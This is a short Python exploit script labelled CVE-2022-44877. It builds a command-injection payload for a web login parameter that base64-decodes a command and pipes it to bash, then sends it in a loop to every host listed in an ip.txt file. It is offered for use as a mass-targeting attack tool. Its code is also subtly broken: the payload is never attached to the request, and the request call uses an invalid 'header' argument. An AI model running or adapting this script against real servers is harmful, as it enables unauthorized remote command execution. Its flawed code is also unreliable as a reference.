CVE-2022-44877.py

import vthread
import requests
import base64
import os

command = b"hi"

payload = "/login/index.php?login=$(echo${IFS}cmdd${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash)".replace(
  "cmdd",
  base64.b64encode(command).decode())

data = {"username": "root", "password": "toor", "commit": "Login"}
header = {
  "Content-Type": "application/x-www-form-urlencoded",
  "User-Agent":
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
  "Accept":
  "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
  "Accept-Encoding": "gzip, deflate",
  "Accept-Language": "en"
}



def exp(url):
  if "http" not in url:
    url = "http://" + url

  try:
    r = requests.post(url, verify=False, data=data, header=header)
    if r.status_code == 200:
      print("[+] payload sent")
    else:
      print("[-] payload sent fail")
  except:
    print("[-] connection refused")

if __name__ == "__main__":
  file = open("ip.txt").readlines()
  for ip in file:
    ip = ip.strip()
    exp(ip)